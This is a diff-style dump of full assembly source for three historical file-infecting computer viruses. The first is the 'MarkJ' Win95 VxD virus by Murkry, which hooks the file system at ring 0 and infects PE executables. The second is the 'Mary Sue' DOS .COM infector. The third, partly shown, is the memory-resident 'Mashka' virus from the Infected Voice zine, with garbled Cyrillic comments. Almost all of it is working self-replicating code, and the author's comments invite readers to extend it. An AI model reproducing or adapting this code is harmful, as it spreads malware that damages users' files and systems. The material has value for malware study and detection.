; so this leaves one entry that is not patched Well this is sorta easy to fix
|
||||
; in a number of methods I am choosing the easiest way which is to copy the
|
||||
; code b4 the dynalink occur to an another location and when I write that copy
|
||||
; of the code to the new host, another method would be to create the int 20's
|
||||
; in a dynamic manner the first time this method might be nice for a mutating
|
||||
; form of this type of virus as you can see VX technology is unlimited in what
|
||||
; there is to explore in the Win95 enviroment.
|
||||
; hmm oh yeah the virus has a small payload on the 25th of june it will
|
||||
; display a VWin32_SysErrorBox wishing Mark j a happy bday :)
|
||||
; For those who wonder MarkJ is my friend's son, who is the one who show me
|
||||
; the wonderful world of Virii; JHB yea he is around!
|
||||
; I know that since I show this to b0z0 he has taken this idea cleaned it up
|
||||
; added new ideas so for some code that is more robust check out his article's
|
||||
;
|
||||
;
|
||||
;
|
||||
; Murkry
|
||||
|
||||
|
||||
.Radix 16
|
||||
|
||||
.386
|
||||
;some restrictions
|
||||
;I do not alter the Virtual address of the new section so the
|
||||
; host host must load at a base address of a 400000h if this is not true do
|
||||
; not infect
|
||||
;to try to stay as a Win95 I check for file alignment as a 200h if not again
|
||||
;do not infect
|
||||
|
||||
; the "new" vxd area I create wants dd 0c0000040h
|
||||
;for its characerstics or it fails out strange
|
||||
; now this infects pe files that are name as .com files but get this
|
||||
; the infect com will not run it hangs the system???? well this is just
|
||||
;for demo purposes, rename the infected file to *.exe and it will work :)
|
||||
;and lastly I did not add some check to insure that section directory has
|
||||
;enough room in it ;) I leave these problems for the student to fix
|
||||
;
|
||||
; unlike most vxd's virii this requires Tasm and a debug script that sets the
|
||||
; characterisics of the .DATA to 0c0000040h all set ;)
|
||||
;but does not need special .lib's or the infamous ddk ;)
|
||||
;while i have access to it I prefer to make my files without such things
|
||||
;that way I can use Tasm and not Masm
|
||||
;
|
||||
;Well Virii eXplorers I hope this is an acceptable offering ;)
|
||||
;thanks to QuantumG, DV8 for source and EXE's that help complete this
|
||||
;
|
||||
;Murkry 8/21/97
|
||||
|
||||
; Compiling:
|
||||
; tasm32 /ml /m3 markj,,;
|
||||
; tlink32 /Tpe /aa /c /v markj,markj,, import32.lib,
|
||||
; And then just make the DATA area to be loaded at BFC00000h with a hex editor
|
||||
|
||||
LoadAt equ 0c0000000h
|
||||
PeHeader equ offset Buffer - offset markj + LoadAt
|
||||
.model flat
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
extrn AddAtomA:PROC
|
||||
;this is just the data area that I am using to build the code that will
|
||||
;go in the 0c0000000h area the start of the host will be in the .code
|
||||
; and in a real infection it will execute from the section dir..
|
||||
.data ;the data area
|
||||
markj:
|
||||
|
||||
;first thing find the VMM uses a fixed location here
|
||||
;yea this is just a modfied form of fuck harry by QG but
|
||||
;why not
|
||||
;maybe its possible to just scan for 'VMM '
|
||||
;From 0C0010000 ?
|
||||
|
||||
StartOfVirus:
|
||||
;ok first thing copy the virus to the end of our work and data error
|
||||
;this way we have an ucorrupted version
|
||||
mov esi, LoadAt
|
||||
mov edi,offset DummyCode - Offset StartOfVirus + LoadAt
|
||||
mov Ecx,offset EndVirus - Offset StartOfVirus
|
||||
rep movsb
|
||||
|
||||
mov eax,0C000157Fh ;pointer to one location???
|
||||
mov ebx,[eax] ;of the VMM dbb
|
||||
cmp dword ptr [ebx+0C],0204D4D56h ;'VMM '
|
||||
jne ErrorExit ;if not here get out
|
||||
|
||||
mov ebx,[ebx+30h]
|
||||
;find the Service table for th vmm
|
||||
;now load the call_global_event address (I think)
|
||||
;I have read the source to Fharry and I was right :)
|
||||
;Sorta hook this Services
|
||||
lea eax,[ebx+3Ch]
|
||||
|
||||
;Store this value to restore it later
|
||||
mov dword ptr ds:[0c0000000h + offset OrgIfsEntry- Offset markj],eax
|
||||
; 0c000e384h
|
||||
|
||||
mov eax,[eax]
|
||||
|
||||
mov dword ptr ds:[offset VxDOff - Offset markj + LoadAt ],eax
|
||||
; 402066
|
||||
lea eax,dword ptr ds:[ offset NewHandler - Offset markj + LoadAt]
|
||||
;hook the code
|
||||
mov [ebx+3Ch],eax ;New Location of our Handler
|
||||
|
||||
;Ok we should be set to return to the host
|
||||
|
||||
ErrorExit:
|
||||
|
||||
RetToHost:
|
||||
inc byte ptr ds:[offset CheckTsr - offset markj + LoadAt]
|
||||
|
||||
Ret
|
||||
|
||||
;----------------------------------------------------------
|
||||
;In Dos we would now be in the int Handler
|
||||
; Here we are now in Ring 0 and are part of the VxD land ;)
|
||||
; this is where we finish the QG manuever by hooking HookFSD
|
||||
|
||||
NewHandler:
|
||||
pushad
|
||||
|
||||
|
||||
;restore the global event hook
|
||||
mov eax,dword ptr ds:[VxDOff - offset markj + LoadAt]
|
||||
|
||||
;mov [00000000],eax
|
||||
db 0A3h
|
||||
OrgIfsEntry dd 0
|
||||
|
||||
mov word ptr ds:[offset VxDSeg - Offset markj + LoadAt],cs
|
||||
call CallIFSHook
|
||||
|
||||
popad
|
||||
;---------------------------------------------------------
|
||||
|
||||
; jmp 0028:00000000
|
||||
db 0eah
|
||||
VxDOff dd 0401000h
|
||||
VxDSeg: dw 0137h
|
||||
;---------------------------------------------------------------
|
||||
|
||||
VVxdCall1:
|
||||
CallIFSHook:
|
||||
|
||||
lea eax,dword ptr ds:[offset NewFShook - Offset markj + LoadAt]
|
||||
push edx
|
||||
push eax
|
||||
|
||||
;this is sorta like hooking every int21 that handle file access in DOS
|
||||
;This will add a FS hook now whenever a FSD is Called this will be called
|
||||
;first
|
||||
;Call
|
||||
;Tos = New Fsd Address to Install
|
||||
;return
|
||||
;EAX = Last FShook
|
||||
ApiHook: ;4020dd
|
||||
int 20h
|
||||
V1:
|
||||
APIHOOKVXD dd 00400067h
|
||||
; IFSMgr_Device_ID 0x00040 /* Installable File System Manager */
|
||||
; IFSMgr_Service IFSMgr_InstallFileSystemApiHook 67
|
||||
|
||||
add esp,00000004 ;like a pop changes no regs but esp
|
||||
;some VxD's routines
|
||||
;do not clean up after themselves
|
||||
;Sometimes check docs for specs :))
|
||||
|
||||
pop edx ; restore Edx
|
||||
;Save the old FSHook so we can chain to it
|
||||
mov dword ptr ds:[ offset OldFSD - Offset markj + LoadAt],eax
|
||||
|
||||
;A little payload here if its the 6/25 then display the B-day mess
|
||||
;just using the VMM Exec_VxD_Int to get the System date
|
||||
;To be honest I could not find an easier way to do this!!!
|
||||
;there are some VxD that give time and date but the date is how many
|
||||
; seconds(I think) from some date in the 1980's this is easier and
|
||||
; shows that accessing int 21 is still possible infact if QG is hooking the
|
||||
; the GlobalEvent from the VMM it should be possible to hook the int21
|
||||
; hanlder in a similiar fashion then some creative coding could make the
|
||||
; Dos tsr and the VxD code very similiar....
|
||||
; check for 6/25 if its the date show the message and set the flag
|
||||
;
|
||||
|
||||
mov eax,00002A00h ;get system date
|
||||
push dword ptr 21h
|
||||
int 20h
|
||||
V2 dd 0001008fh
|
||||
|
||||
cmp dx,0619
|
||||
;6/25 in hex for those decimal heads ;)
|
||||
jne ForGetIt
|
||||
|
||||
|
||||
;this shows how one might use the VWin32_SysErrorBox
|
||||
;To display a little message justing saying Hi to JHB's son who is the
|
||||
; happy (?) reason jhb is not coding as much any more I should add he
|
||||
;did help with alot of this code
|
||||
mov ebx, LoadAt
|
||||
add ebx, offset EBox - offset markj
|
||||
int 20h
|
||||
V3 dd 002a001ah
|
||||
|
||||
|
||||
ForGetIt:
|
||||
|
||||
ret
|
||||
;----------------------------------------------------
|
||||
;all right we have "legal" hook into a FSD and the rest is the
|
||||
;just the infection routine
|
||||
NewFShook:
|
||||
push ebp
|
||||
mov ebp,esp
|
||||
sub esp,00000020
|
||||
|
||||
;-------------------------------------------------------
|
||||
;Relative EBP this is what was passed I hope DV8 does not mind me
|
||||
; using his docs to define this stuff
|
||||
;00 - ebp
|
||||
;04 - address of caller
|
||||
;08 - adress of FSD Function
|
||||
;0c - Function ID
|
||||
;10 - drive
|
||||
;14 - Type of Resource
|
||||
;18 - Code Page
|
||||
;1C - Pointer to IOREQ record
|
||||
; 00 dw Lenght if user Buffer
|
||||
; 02 db status Flag
|
||||
; 03 db requests' user Id
|
||||
; 04 dw file handle's System File number
|
||||
; 06 dw Process ID
|
||||
; there is more I will copy or add as needed
|
||||
|
||||
push ebx
|
||||
push esi
|
||||
push edi
|
||||
|
||||
; mov edi,00000000
|
||||
; db 0bfh ;this gets us so edi points to our
|
||||
;VirriOffVxD dd LoadAt ;loc in memory
|
||||
|
||||
; Use this flag so we are not reentrant
|
||||
|
||||
cmp byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
|
||||
je letOrginal
|
||||
;Win95 always opens the file b4 running it so this checks and lets us
|
||||
;check if it is opened
|
||||
cmp dword ptr [ebp+0Ch],00000024h
|
||||
jne letOrginal
|
||||
|
||||
;ok set our flag
|
||||
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
|
||||
pushad
|
||||
|
||||
lea esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
|
||||
|
||||
mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ
|
||||
cmp al,0FFh
|
||||
je NoNeedDriveLetter
|
||||
|
||||
|
||||
add al,40h ;this creates the c:
|
||||
mov [esi],al ;
|
||||
inc esi ;takes 1 byte
|
||||
mov byte ptr [esi],':' ;
|
||||
inc esi ;takes two bytes
|
||||
|
||||
NoNeedDriveLetter:
|
||||
|
||||
xor eax,eax
|
||||
push eax ;character set
|
||||
|
||||
mov eax,000000FF ;max size of output buffer
|
||||
push eax ;
|
||||
|
||||
mov ebx,[ebp+1Ch] ;??? copies from Mr k and
|
||||
mov eax,[ebx+0Ch] ;Fharry virus it seems to
|
||||
add eax,00000004 ;to get the input file name
|
||||
push eax ; which is in unicode
|
||||
|
||||
mov eax,esi ;where we want the output
|
||||
push eax ;
|
||||
|
||||
UniToBcs: ;ok do it
|
||||
int 20h
|
||||
dd 00400041h
|
||||
;IFSMgr_Service UniToBCSPath
|
||||
add esp, 4*4 ;need to clean up the stack
|
||||
; dword size * how many push
|
||||
;(paremeters)
|
||||
add esi,eax
|
||||
mov byte ptr [esi],00
|
||||
cmp dword ptr [esi - 4],"MOC."
|
||||
; cmp dword ptr [esi - 4],"EXE." ;hmm could just put this in to infect
|
||||
;proper files ;>
|
||||
jne ExitVVxD
|
||||
;could add the get and save attributes stuff here as a Xercise for the student
|
||||
|
||||
mov Eax,0000D500h ;create/open file
|
||||
xor ecx,ecx
|
||||
lea Esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
|
||||
mov ebx,2 ;flags
|
||||
mov edx,1
|
||||
|
||||
call VxDIFS ;decide to combine this call
|
||||
;int 20
|
||||
;dd 00400032h
|
||||
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||
|
||||
jb ExitVVxD ;error opening the file
|
||||
mov ebx,eax ;file handle
|
||||
|
||||
;Read File open with read write d6
|
||||
;3c is the location of the dword pter to the PE/NE part
|
||||
|
||||
mov ecx,00000004 ;how much
|
||||
mov edx, 03Ch ;where to read from
|
||||
mov eax,0000D600h ;read from file
|
||||
lea esi,byte ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||
;where to read to
|
||||
|
||||
call VxDIFS
|
||||
;int 20h
|
||||
;dd 00400032h
|
||||
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||
|
||||
mov ecx,400h
|
||||
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||
;use as a pointer
|
||||
mov eax,0000D600h
|
||||
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
|
||||
;where to read to
|
||||
|
||||
call VxDIFS
|
||||
;int 20h
|
||||
;dd 00400032h
|
||||
;IFSMgr_Service IFSMgr_Ring0_FileIO 32
|
||||
;check for the PE
|
||||
;Read in the first 1k of info from the PE header on
|
||||
cmp dword ptr [esi],00004550h ;00,'EP'
|
||||
jne CloseFile
|
||||
|
||||
;Alright!! its a PE file now check if infected
|
||||
;use the user defined 2 words at 44h = Murk
|
||||
;figure file size
|
||||
;figure amout to add
|
||||
;fix header and write end and then write header
|
||||
;all offsets should be off the offset Buffer - offset markj + LoadAt
|
||||
; called PeHeader
|
||||
|
||||
;Lets do some checks if any fail get out
|
||||
|
||||
cmp dword ptr ds:[PeHeader + 44],'kruM' ;user define
|
||||
je CloseFile
|
||||
;Well not infected with MarkJ1 virus
|
||||
|
||||
cmp dword ptr ds:[PeHeader + 34h ],00400000h ;base image
|
||||
jne CloseFile
|
||||
;for this example we only want the base image to be 400000h
|
||||
|
||||
cmp dword ptr ds:[PeHeader + 3ch],200h ;file alignment
|
||||
jne CloseFile
|
||||
;and lastly check the file alignment if 200 we are set
|
||||
|
||||
|
||||
xor eax,eax
|
||||
mov ax,word ptr ds:[PeHeader + 6] ;how many sections
|
||||
mov ecx,28h ;section size
|
||||
mul ecx
|
||||
|
||||
mov edi,eax ;New Section Entry
|
||||
add edi,PeHeader + 0f8h ;add Pe header size
|
||||
|
||||
push edi ;location in PeHeader of new section header
|
||||
|
||||
mov esi, offset SectName - offset markj + LoadAt
|
||||
mov ecx, offset EndVirus - offset SectName
|
||||
rep movsb
|
||||
|
||||
pop edi
|
||||
|
||||
;get file size
|
||||
mov eax,0d800h ;get file size
|
||||
|
||||
call VxDIFS
|
||||
; int 20h
|
||||
; dd 00400032h
|
||||
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||
;jc for error
|
||||
|
||||
mov dword ptr ds:[offset FileSize - offset markj + LoadAt],Eax
|
||||
|
||||
push eax ;save the size
|
||||
pop edx ;get it in edx
|
||||
push edx ;save again
|
||||
add eax,0200h
|
||||
shr eax,09h ;make it the 200h size
|
||||
shl eax,09h ;
|
||||
|
||||
pop ecx
|
||||
sub eax,ecx
|
||||
xchg eax,ecx
|
||||
|
||||
;Extend the file to a 200 file alignment
|
||||
|
||||
cmp ecx,0200h
|
||||
jz AtAlignment
|
||||
add dword ptr ds:[offset FileSize - offset markj + LoadAt],Ecx
|
||||
|
||||
mov eax,0000d601h ;write to file
|
||||
mov esi,0c0000000h
|
||||
call VxDIFS
|
||||
;int 20h
|
||||
;dd 00400032h ;edx is telling us where to write to in the file
|
||||
AtAlignment:
|
||||
|
||||
mov edx, dword ptr ds:[offset FileSize - offset markj + LoadAt]
|
||||
mov dword ptr ds:[edi + 14h ],edx
|
||||
|
||||
mov ecx,offset EndVirus - offset StartOfVirus
|
||||
mov eax,0000d601h ;write to file
|
||||
mov esi,offset DummyCode - Offset StartOfVirus + LoadAt
|
||||
call VxDIFS
|
||||
;int 20h
|
||||
;dd 00400032h ;edx is telling us where to write to
|
||||
|
||||
;ok fix the header and write it back
|
||||
;fix marker
|
||||
mov dword ptr ds:[PeHeader + 44h],'kruM' ;user define
|
||||
;fix Eip
|
||||
mov eax,edi
|
||||
sub eax,PeHeader
|
||||
add eax,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||
add eax,28h ;<----NewEip
|
||||
mov dword ptr ds:[edi + 28h + 1],eax
|
||||
push eax ;save the new eip
|
||||
|
||||
mov eax,dword ptr ds:[PeHeader + 28]
|
||||
mov dword ptr ds:[edi + offset OldEipRva - offset SectName],eax
|
||||
|
||||
pop eax
|
||||
mov dword ptr ds:[PeHeader + 28],eax ;set the new eip
|
||||
|
||||
|
||||
;fix section count
|
||||
inc word ptr ds:[PeHeader + 6]
|
||||
|
||||
mov ecx,400h
|
||||
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
||||
;use as a pointer
|
||||
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
|
||||
;where to read to
|
||||
mov eax,0000d601h ;write to file
|
||||
call VxDIFS
|
||||
; int 20h
|
||||
; dd 00400032h ;edx is telling us where to write to
|
||||
|
||||
|
||||
CloseFile:
|
||||
mov eax,0000d700h
|
||||
|
||||
call VxDIFS
|
||||
;int 20h ;402500h
|
||||
;dd 00400032h
|
||||
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
||||
|
||||
|
||||
|
||||
ExitVVxD:
|
||||
Popad
|
||||
;Restore our flag so we can infect the next file
|
||||
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],0
|
||||
|
||||
letOrginal:
|
||||
|
||||
mov eax,[ebp+1CH] ;040250eh
|
||||
push eax
|
||||
mov eax,[ebp+18H]
|
||||
push eax
|
||||
mov eax,[ebp+14H]
|
||||
push eax
|
||||
mov eax,[ebp+10H]
|
||||
push eax
|
||||
mov eax,[ebp+0CH]
|
||||
push eax
|
||||
mov eax,[ebp+08H]
|
||||
push eax
|
||||
|
||||
;mov eax,00000000
|
||||
db 0b8h
|
||||
OldFSD dd 0
|
||||
call [eax]
|
||||
|
||||
add esp,00000018
|
||||
pop edi
|
||||
pop esi
|
||||
pop ebx
|
||||
leave ;402533h
|
||||
ret
|
||||
|
||||
;********************************************
|
||||
VxDIFS:
|
||||
int 20h ;402500h
|
||||
dd 00400032h
|
||||
ret
|
||||
|
||||
;********************************************
|
||||
|
||||
MFlag db ?
|
||||
Flag1 db ?
|
||||
|
||||
EBox dd ?
|
||||
butt1 dw 0
|
||||
butt2 dw 8001
|
||||
butt3 dw 0
|
||||
TitleOff dd offset TitleEB - offset markj +0c0000000h
|
||||
TextOff dd offset TextEB - offset markj +0c0000000h
|
||||
|
||||
TitleEB db 'Happy Birth Day to Mark J ',0
|
||||
TextEB db 'From Murkry',0
|
||||
|
||||
;-----------------------------------------------------------
|
||||
|
||||
SectName db "MarkJ_I "
|
||||
Physadd dd offset EndVirus - offset StartOfVirus
|
||||
VirtualAdd dd 0c0000000h - 400000h ;bfc00000
|
||||
SizeRawData dd offset EndVirus - offset StartOfVirus
|
||||
PntrRawData dd 0 ;will be set at infection
|
||||
PnterReloc dd ?
|
||||
PnterLine dd ?
|
||||
dw ?
|
||||
dw ?
|
||||
Character dd 0c0000040h
|
||||
|
||||
;sub eax, offset HOST - 400000h
|
||||
db 2dh
|
||||
NewEipRva dd offset HOST - 400000h
|
||||
|
||||
cmp eax,400000h
|
||||
jne GetOut
|
||||
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
|
||||
jne GetOut
|
||||
|
||||
;EAX ;current base address
|
||||
pushad
|
||||
call DoNothing
|
||||
DoNothing:
|
||||
pop eax
|
||||
add eax,0bh
|
||||
push eax
|
||||
push 0c0000000h
|
||||
ret
|
||||
Here:
|
||||
popad
|
||||
|
||||
GetOut:
|
||||
|
||||
;add eax, offset return - 400000h
|
||||
db 05h
|
||||
OldEipRva dd offset return - 400000h
|
||||
|
||||
jmp eax
|
||||
;----------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
EndVirus:
|
||||
FileName db 100 dup(00) ;holds the file name
|
||||
|
||||
|
||||
PEPtr dd 0
|
||||
FileSize dd 0
|
||||
Buffer db 400h dup(00)
|
||||
|
||||
CheckTsr db 00
|
||||
|
||||
DummyCode:
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
.code ;executable code starts here
|
||||
|
||||
HOST:
|
||||
;sub eax, offset HOST - 400000h
|
||||
db 2dh
|
||||
NewEipRva1 dd offset HOST - 400000h
|
||||
|
||||
cmp eax,400000h
|
||||
jne GetOut1
|
||||
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
|
||||
jne GetOut1
|
||||
|
||||
;EAX ;current base address
|
||||
pushad
|
||||
call DoNothing1
|
||||
DoNothing1:
|
||||
pop eax
|
||||
add eax,0bh
|
||||
push eax
|
||||
push 0c0000000h
|
||||
ret
|
||||
Here1:
|
||||
popad
|
||||
|
||||
GetOut1:
|
||||
|
||||
;add eax, offset return - 400000h
|
||||
db 05h
|
||||
OldEipRva1 dd offset return - 400000h
|
||||
|
||||
jmp eax
|
||||
;--------------------------------------------------
|
||||
|
||||
return:
|
||||
push LARGE -1
|
||||
call ExitProcess
|
||||
|
||||
end HOST
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,129 @@
|
||||
|
||||
MarySue SEGMENT BYTE PUBLIC 'code'
|
||||
ASSUME CS:MarySue, DS:MarySue, SS:MarySue, ES:MarySue
|
||||
|
||||
ORG 100h
|
||||
|
||||
DOS EQU 21h
|
||||
|
||||
start: JMP pgstart
|
||||
exlbl: db 0CDh, 20h, 3, 2, 7
|
||||
pgstart:CALL MarySueVir
|
||||
MarySueVir:
|
||||
POP SI
|
||||
SUB SI,offset MarySueVir
|
||||
MOV BP,[SI+blnkdat]
|
||||
ADD BP, OFFSET exlbl
|
||||
JMP SHORT realprog
|
||||
|
||||
nfect:
|
||||
MOV [SI+offset endprog+3],AX
|
||||
MOV AH,40H
|
||||
LEA DX,[SI+0105H]
|
||||
MOV CX,offset endprog-105h
|
||||
INT DOS
|
||||
PUSHF
|
||||
POPF
|
||||
JC outa1
|
||||
RET
|
||||
outa1:
|
||||
JMP exit
|
||||
|
||||
|
||||
realprog:
|
||||
CLD
|
||||
MOV AH, 1Ah
|
||||
LEA DX, [SI+ENDPROG+131h]
|
||||
INT 21h
|
||||
|
||||
LEA DX,[SI+fspec]
|
||||
XOR CX, CX
|
||||
MOV AH,4EH
|
||||
mainloop:
|
||||
INT DOS
|
||||
JC hiccup
|
||||
|
||||
LEA DX, [SI+ENDPROG+131h+30]
|
||||
|
||||
MOV AX,3D02H
|
||||
INT DOS
|
||||
MOV BX,AX
|
||||
MOV AH,3FH
|
||||
LEA DX,[SI+endprog]
|
||||
MOV DI,DX
|
||||
MOV CX,0003H
|
||||
INT DOS
|
||||
CMP BYTE PTR [DI],0E9H
|
||||
JE infect
|
||||
nextfile:
|
||||
MOV AH,4FH
|
||||
JMP mainloop
|
||||
hiccup: JMP exit
|
||||
infect:
|
||||
MOV AX,5700h
|
||||
INT DOS
|
||||
PUSH DX
|
||||
PUSH CX
|
||||
MOV DX,[DI+01H]
|
||||
MOV [SI+blnkdat],DX
|
||||
; Tighter Code here - Dark Angel
|
||||
XOR CX,CX
|
||||
MOV AX,4200H
|
||||
INT DOS
|
||||
MOV DX,DI
|
||||
MOV CX,0002H
|
||||
MOV AH,3FH
|
||||
INT DOS
|
||||
CMP WORD PTR [DI],0807H
|
||||
JE nextfile
|
||||
getaval:
|
||||
|
||||
XOR DX,DX
|
||||
XOR CX,CX
|
||||
MOV AX,4202H
|
||||
INT DOS
|
||||
OR DX,DX
|
||||
JNE nextfile
|
||||
CMP AH,0FEH
|
||||
JNC nextfile
|
||||
CALL nfect
|
||||
MOV AX,4200H
|
||||
XOR CX, CX
|
||||
MOV DX,OFFSET 00001
|
||||
INT DOS
|
||||
MOV AH,40H
|
||||
LEA DX,[SI+offset endprog+3]
|
||||
MOV CX,0002H
|
||||
INT DOS
|
||||
MOV AX,5701h
|
||||
POP CX
|
||||
POP DX
|
||||
INT DOS
|
||||
exit:
|
||||
MOV AH,3EH
|
||||
INT DOS
|
||||
|
||||
|
||||
|
||||
MOV AH, 1Ah
|
||||
MOV DX, 80h
|
||||
INT 21h
|
||||
|
||||
JMP BP
|
||||
|
||||
fspec LABEL WORD
|
||||
DB '*.*',0
|
||||
nondata DB ' *** Mary Sue Virus 1.0 ***'
|
||||
DB ' Written by the Weasel!'
|
||||
DB ' (C) Sector Infector Inc'
|
||||
endenc LABEL BYTE
|
||||
|
||||
blnkdat LABEL WORD
|
||||
DW 0000H
|
||||
|
||||
en_val DW 0h
|
||||
|
||||
endprog LABEL WORD
|
||||
MarySue ENDS
|
||||
END start
|
||||
|
||||
@@ -0,0 +1,451 @@
|
||||
;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ
|
||||
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ
|
||||
;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ
|
||||
; °°°°°°°°°°°°°°°°° JAN 1995
|
||||
;
|
||||
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
|
||||
; ===========================================================================
|
||||
|
||||
|
||||
TITLE Virus Mashka ; ªáâ ⨠áâ®ï饥 §¢ ¨¥ !
|
||||
seg_a segment para 'code'
|
||||
assume cs:seg_a,ds:seg_a
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
call $+3 ;áâ àë© ¤®¡àë© call
|
||||
pop bx
|
||||
push es
|
||||
sub bx,3 ; ç «® ¢¨àãá
|
||||
push bx
|
||||
mov ax,0e200h ;âà ¤¨æ¨® ï ¯à®¢¥àª «¨ç¨¥ ¢ ¯ ¬ïâ¨
|
||||
int 21h
|
||||
cmp al,22h
|
||||
jnz res ;¥á«¨ á ¥â, § ç¨â ¡ã¤¥¬
|
||||
jmp short nores ;¬ë 㦥 ¥áâì
|
||||
res:
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax ;ᥣ¬¥â MSB
|
||||
mov ax,word ptr ds:[3]
|
||||
sub ax,(offset virend - offset start)/10h+1+20h ;㬥ìè ¥¬ à §¬¥à ¡«®ª
|
||||
mov word ptr ds:[3],ax
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr ds:[2] ;ª®«¢® ᢮¡®¤®© ¯ ¬ïâ¨
|
||||
sub ax,(offset virend - offset start)/10h+1+20h ;®â¨¬ ¥¬ à §¬¥à vir'
|
||||
mov es,ax
|
||||
mov word ptr ds:[2],ax
|
||||
mov cx,offset virend - offset start
|
||||
mov si,bx
|
||||
xor di,di
|
||||
push cs
|
||||
pop ds
|
||||
rep movsb ; ¯¥à¥ª 稢 ¥¬ ⥫® ¢ ¢ë¤¥«¥ãî ®¡« áâì es:di
|
||||
push es
|
||||
pop ds
|
||||
mov ax,3521h ; ã §¤¥áì, ¤¥îáì , ¢ë ¯®¨¬ ¥â¥ , çâ® ¯à®¨á室¨â
|
||||
int 21h
|
||||
mov word ptr ds:[offset int21e - offset start],bx
|
||||
mov word ptr ds:[offset int21e+2 - offset start],es
|
||||
mov ax,2521h
|
||||
mov dx,offset int21entry - offset start
|
||||
int 21h ; ¯¥à¥å¢ âë¢ ¥¬ int 21h
|
||||
mov ax,3510h
|
||||
int 21h
|
||||
mov word ptr ds:[offset int10e - offset start],bx
|
||||
mov word ptr ds:[offset int10e+2 - offset start],es
|
||||
mov ax,2510h
|
||||
mov dx,offset int10entry - offset start
|
||||
int 21h ; ¯¥à¥å¢ âë¢ ¥¬ int 10h
|
||||
; ¤«ï ¢¥à⮫¥â
|
||||
nores:
|
||||
; ¥á«¨ ¢¨àãá 㦥 ¢ ¯ ¬ï⨠, â® ®áâ ¥âáï ⮫쪮 à ¤®¢ âìáï
|
||||
|
||||
pop bx
|
||||
|
||||
; ᥩç á ¡ã¤¥¬ ¯®«ãç âì ®à¨£¨ «ìë¥ ¡ ©âë ¯à®£à ¬¬ë ,
|
||||
; ¢ë१ ë¥ ¨§ ç « ¯à®£à ¬¬ë
|
||||
|
||||
mov ax,word ptr cs:[bx + offset real - offset start]
|
||||
mov bx,word ptr cs:[bx + offset real - offset start + 2]
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr cs:[100h],ax ;ᮮ⢥âá⢥® ¢®§¢à é ¥¬ ¨å ¬¥áâ®
|
||||
mov word ptr cs:[102h],bx
|
||||
mov ax,100h ; ¤à¥áá ¤«ï ¢®§¢à â ç «® ¯à®£à ¬¬ë
|
||||
pop es
|
||||
push ax
|
||||
ret
|
||||
|
||||
real dw 4cb4h ; ¢®â ®¨ த¨¬ë¥ , ®à¨£¨ «ìë¥ !
|
||||
dw 21cdh
|
||||
|
||||
INT21entry:
|
||||
cmp ax,0e200h ; ¯à®¢¥à塞 ᮡá⢥ãî äãªæ¨î,
|
||||
; ª®â®àãî ¢¨àãá ¢ë¯®«ï¥â çâ®¡ë ¯à®¢¥à¨âì
|
||||
; ᢮¥ «¨ç¨¥ ¢ ¯ ¬ïâ¨
|
||||
jnz d01
|
||||
mov al,22h
|
||||
iret
|
||||
d01:
|
||||
cmp ax,0e233h ; ᥪà¥â ï äãªæ¨ï , ¢®§¢à é îé ï ®à¨£¨ «ìë¥
|
||||
; ¤à¥á ¯à¥àë¢ ¨© ¨ à §¬¥à ¢¨àãá (¤«ï ¢®§¬®¦®á⨠«¥ç¥-
|
||||
; ¨ï «î¡®© ¢¥àᨨ
|
||||
jnz d1
|
||||
mov al,22h
|
||||
mov bx,cs
|
||||
; ¢®â ®¨ , í⨠offset'ë
|
||||
mov cx,offset real - offset start
|
||||
mov dx,offset int21e - offset start
|
||||
mov si,offset int10e - offset start
|
||||
iret
|
||||
d1:
|
||||
cmp ah,4bh ; ª ª ¢¨¤¨â¥ , äãªæ¨ï 4b - £« ¢ ï ¯à¨ç¨ § à ¦¥¨ï
|
||||
jz in4b
|
||||
jmp exitint21 ; ¥á«¨ ¥ 4b , â® ¬ë ¢á¥ à ¢® ¯®¤®¦¤¥¬
|
||||
|
||||
; ‚®â áî¤ ®¡ëç® ¯®¯ ¤ îâ , ª®£¤ ¤¥« îâ INT 21h
|
||||
|
||||
in4b:
|
||||
push ax ; ¢¨¬ ¨¥ žŒŽ� ! ’¥ªá⮢ ï áâப 'PSQR'
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
|
||||
push es
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push dx
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,2524h
|
||||
mov dx,offset int24entry - offset start
|
||||
